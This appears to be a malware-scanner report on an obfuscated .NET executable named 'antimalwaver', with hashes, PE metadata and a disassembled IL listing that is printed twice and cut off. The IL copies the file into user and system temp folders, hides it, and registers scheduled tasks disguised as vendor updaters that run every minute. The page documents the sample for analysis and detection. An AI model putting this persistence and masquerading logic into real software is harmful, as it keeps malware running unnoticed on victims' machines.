Suspicious
Suspect

486063249f6b355cf0a50e7c2eb76445

Share on LinkedIn Add to favorites
Re-Scan
Delete
PE Executable
MD5: 486063249f6b355cf0a50e7c2eb76445
Size: 70.66 KB
application/x-dosexec
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
 Hash Value
MD5
486063249f6b355cf0a50e7c2eb76445
Sha1
6d89256296cac304750e190e5650942449929b38
Sha256
2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb
Sha384
0f6021a022d7caf62f46c27d5871faa56d2f3bb80c7ee72b8229784ae57687cdf22a42fe5676f1942696844a57709af2
Sha512
beeb4d967d1b200cd506fcb1448119de961bb3c794e7103731722b5257980010e4991d51a45d68383902b0a1652ade393761d1418c5728023fe18d3c3f3f504c
SSDeep
768:4YlbdXo81wwk+EgORzDZ3M5C0/M1c9GtCw/k5z+JicP27wzdvOfs39bS6rQlld52:HrYS8xinM1WGU+IcP2iYg9bS6Unc8G
TLSH
3463C7D8367B8831D17F6DFAE6C7624F5EB05133A801D6860CD226E26901A86DD4FCF9

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
486063249f6b355cf0a50e7c2eb76445
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

egPRomB49PSqiNHFgG6c
Full Name

egPRomB49PSqiNHFgG6c
EntryPoint

System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::8Trx8L38GZja73xBBuwn()
Scope Name

egPRomB49PSqiNHFgG6c
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

antimalwaver
Assembly Version

7.22.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

362
Main Method

System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::8Trx8L38GZja73xBBuwn()
Main IL Instruction Count

411
Main IL

ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void KZnDKVaJ8V9Chth8QLH4.1fdPkVHaHdd8IQcN0Fnz::wHc7NsLgXy9gfEf1jQb8() call System.Boolean ONG6y4wu2iHKMtbUchZv.jScdOHxfiZi2eeL3WWBA::0aMliNqxujqXNQBUxmJc() brtrue IL_001F: call System.Boolean VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::7HlhHr6wH6FthR1XPOl3() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::7HlhHr6wH6FthR1XPOl3() brtrue IL_002E: call System.Object VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::BJtgtrAIJgXXLBbEv51D() call System.Void VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::2dufu09LZYsFnE3USkNd() call System.Object VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::BJtgtrAIJgXXLBbEv51D() call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object) call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object) brfalse IL_0047: leave IL_005E call System.Void VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::3L0H47QuX4OiyjaBYIUt() leave IL_005E: ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_005E: ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 call System.String System.IO.Path::GetFileName(System.String) stloc.s V_4 ldc.i4.5 <null> newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGVtcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bG9jYWxhcHBkYXRh call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> ldc.i4.s 35 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2luZGly call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XFRlbXA= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String System.String::Concat(System.String,System.String) stelem.ref <null> ldloc.s V_20 stloc.s V_5 ldc.i4.s 20 newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RWRnZVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr R29vZ2xlVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T25lRHJpdmVTeW5j call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QWRvYmVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Q0NsZWFuZXJVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.5 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RHJvcGJveFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.6 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TnZVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.7 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QU1EVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.8 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aVR1bmVzVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 9 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Wm9vbVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 10 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RGlzY29yZFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 11 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VGVhbVZpZXdlclVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 12 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TG9naVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2Ftc3VuZ1VwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 14 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3BvdGlmeVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3RlYW1VcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 16 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2t5cGVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 17 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2xhY2tVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr V2hhdHNBcHBVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 19 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VkxDVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 stloc.s V_6 call System.String ONG6y4wu2iHKMtbUchZv.jScdOHxfiZi2eeL3WWBA::E5zfOsATPINwvaqpGLkG() callvirt System.Int32 System.String::GetHashCode() call System.Int32 System.Math::Abs(System.Int32) newobj System.Void System.Random::.ctor(System.Int32) stloc.1 <null> ldloc.s V_6 newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor(System.Collections.Generic.IEnumerable`1<System.String>) stloc.2 <null> ldloc.2 <null> callvirt System.Int32 System.Collections.Generic.List`1<System.String>::get_Count() ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 br IL_0381: ldloc.s V_8 ldloc.1 <null> ldloc.s V_8 ldc.i4.1 <null> add.ovf <null> callvirt System.Int32 System.Random::Next(System.Int32) stloc.s V_9 ldloc.2 <null> ldloc.s V_8 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) stloc.s V_10 ldloc.2 <null> ldloc.s V_8 ldloc.2 <null> ldloc.s V_9 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.2 <null> ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.s V_8 ldc.i4.m1 <null> add.ovf <null> stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> bge IL_034B: ldloc.1 ldloc.2 <null> ldc.i4.0 <null> ldc.i4.5 <null> callvirt System.Collections.Generic.List`1<System.String> System.Collections.Generic.List`1<System.String>::GetRange(System.Int32,System.Int32) callvirt System.String[] System.Collections.Generic.List`1<System.String>::ToArray() stloc.0 <null> ldc.i4.0 <null> ldloc.s V_5 ldlen <null> conv.ovf.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_18 stloc.s V_11 br IL_04CA: ldloc.s V_11 ldloc.s V_5 ldloc.s V_11 ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldloc.s V_4 call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_12 ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 ldloc.s V_12 ldc.i4.1 <null> call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean) ldloc.s V_12 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.0 <null> ldloc.s V_11 ldelem.ref <null> stloc.s V_13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_15 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_15 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_14 ldloc.s V_14 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_04AD: leave IL_04C4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_16 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04AD: leave IL_04C4 leave IL_04C4: ldloc.s V_11 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04C4: ldloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> add.ovf <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_18 ble IL_03A7: ldloc.s V_5 ldnull <null> ldftn System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::NrpGQUn0m5kCddcMcIlo() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean) ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name

egPRomB49PSqiNHFgG6c
Full Name

egPRomB49PSqiNHFgG6c
EntryPoint

System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::8Trx8L38GZja73xBBuwn()
Scope Name

egPRomB49PSqiNHFgG6c
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

antimalwaver
Assembly Version

7.22.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

362
Main Method

System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::8Trx8L38GZja73xBBuwn()
Main IL Instruction Count

411
Main IL

ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void KZnDKVaJ8V9Chth8QLH4.1fdPkVHaHdd8IQcN0Fnz::wHc7NsLgXy9gfEf1jQb8() call System.Boolean ONG6y4wu2iHKMtbUchZv.jScdOHxfiZi2eeL3WWBA::0aMliNqxujqXNQBUxmJc() brtrue IL_001F: call System.Boolean VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::7HlhHr6wH6FthR1XPOl3() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::7HlhHr6wH6FthR1XPOl3() brtrue IL_002E: call System.Object VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::BJtgtrAIJgXXLBbEv51D() call System.Void VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::2dufu09LZYsFnE3USkNd() call System.Object VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::BJtgtrAIJgXXLBbEv51D() call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object) call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object) brfalse IL_0047: leave IL_005E call System.Void VcGpWyovBjcDUjE2gyWQ.vakbA6bnqEHCcQuBDkqm::3L0H47QuX4OiyjaBYIUt() leave IL_005E: ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_005E: ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 call System.String System.IO.Path::GetFileName(System.String) stloc.s V_4 ldc.i4.5 <null> newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGVtcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bG9jYWxhcHBkYXRh call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> ldc.i4.s 35 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2luZGly call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XFRlbXA= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String System.String::Concat(System.String,System.String) stelem.ref <null> ldloc.s V_20 stloc.s V_5 ldc.i4.s 20 newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RWRnZVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr R29vZ2xlVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T25lRHJpdmVTeW5j call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QWRvYmVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Q0NsZWFuZXJVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.5 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RHJvcGJveFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.6 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TnZVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.7 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QU1EVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.8 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aVR1bmVzVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 9 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Wm9vbVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 10 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RGlzY29yZFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 11 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VGVhbVZpZXdlclVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 12 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TG9naVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2Ftc3VuZ1VwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 14 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3BvdGlmeVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3RlYW1VcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 16 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2t5cGVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 17 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2xhY2tVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr V2hhdHNBcHBVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 19 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VkxDVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 stloc.s V_6 call System.String ONG6y4wu2iHKMtbUchZv.jScdOHxfiZi2eeL3WWBA::E5zfOsATPINwvaqpGLkG() callvirt System.Int32 System.String::GetHashCode() call System.Int32 System.Math::Abs(System.Int32) newobj System.Void System.Random::.ctor(System.Int32) stloc.1 <null> ldloc.s V_6 newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor(System.Collections.Generic.IEnumerable`1<System.String>) stloc.2 <null> ldloc.2 <null> callvirt System.Int32 System.Collections.Generic.List`1<System.String>::get_Count() ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 br IL_0381: ldloc.s V_8 ldloc.1 <null> ldloc.s V_8 ldc.i4.1 <null> add.ovf <null> callvirt System.Int32 System.Random::Next(System.Int32) stloc.s V_9 ldloc.2 <null> ldloc.s V_8 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) stloc.s V_10 ldloc.2 <null> ldloc.s V_8 ldloc.2 <null> ldloc.s V_9 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.2 <null> ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.s V_8 ldc.i4.m1 <null> add.ovf <null> stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> bge IL_034B: ldloc.1 ldloc.2 <null> ldc.i4.0 <null> ldc.i4.5 <null> callvirt System.Collections.Generic.List`1<System.String> System.Collections.Generic.List`1<System.String>::GetRange(System.Int32,System.Int32) callvirt System.String[] System.Collections.Generic.List`1<System.String>::ToArray() stloc.0 <null> ldc.i4.0 <null> ldloc.s V_5 ldlen <null> conv.ovf.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_18 stloc.s V_11 br IL_04CA: ldloc.s V_11 ldloc.s 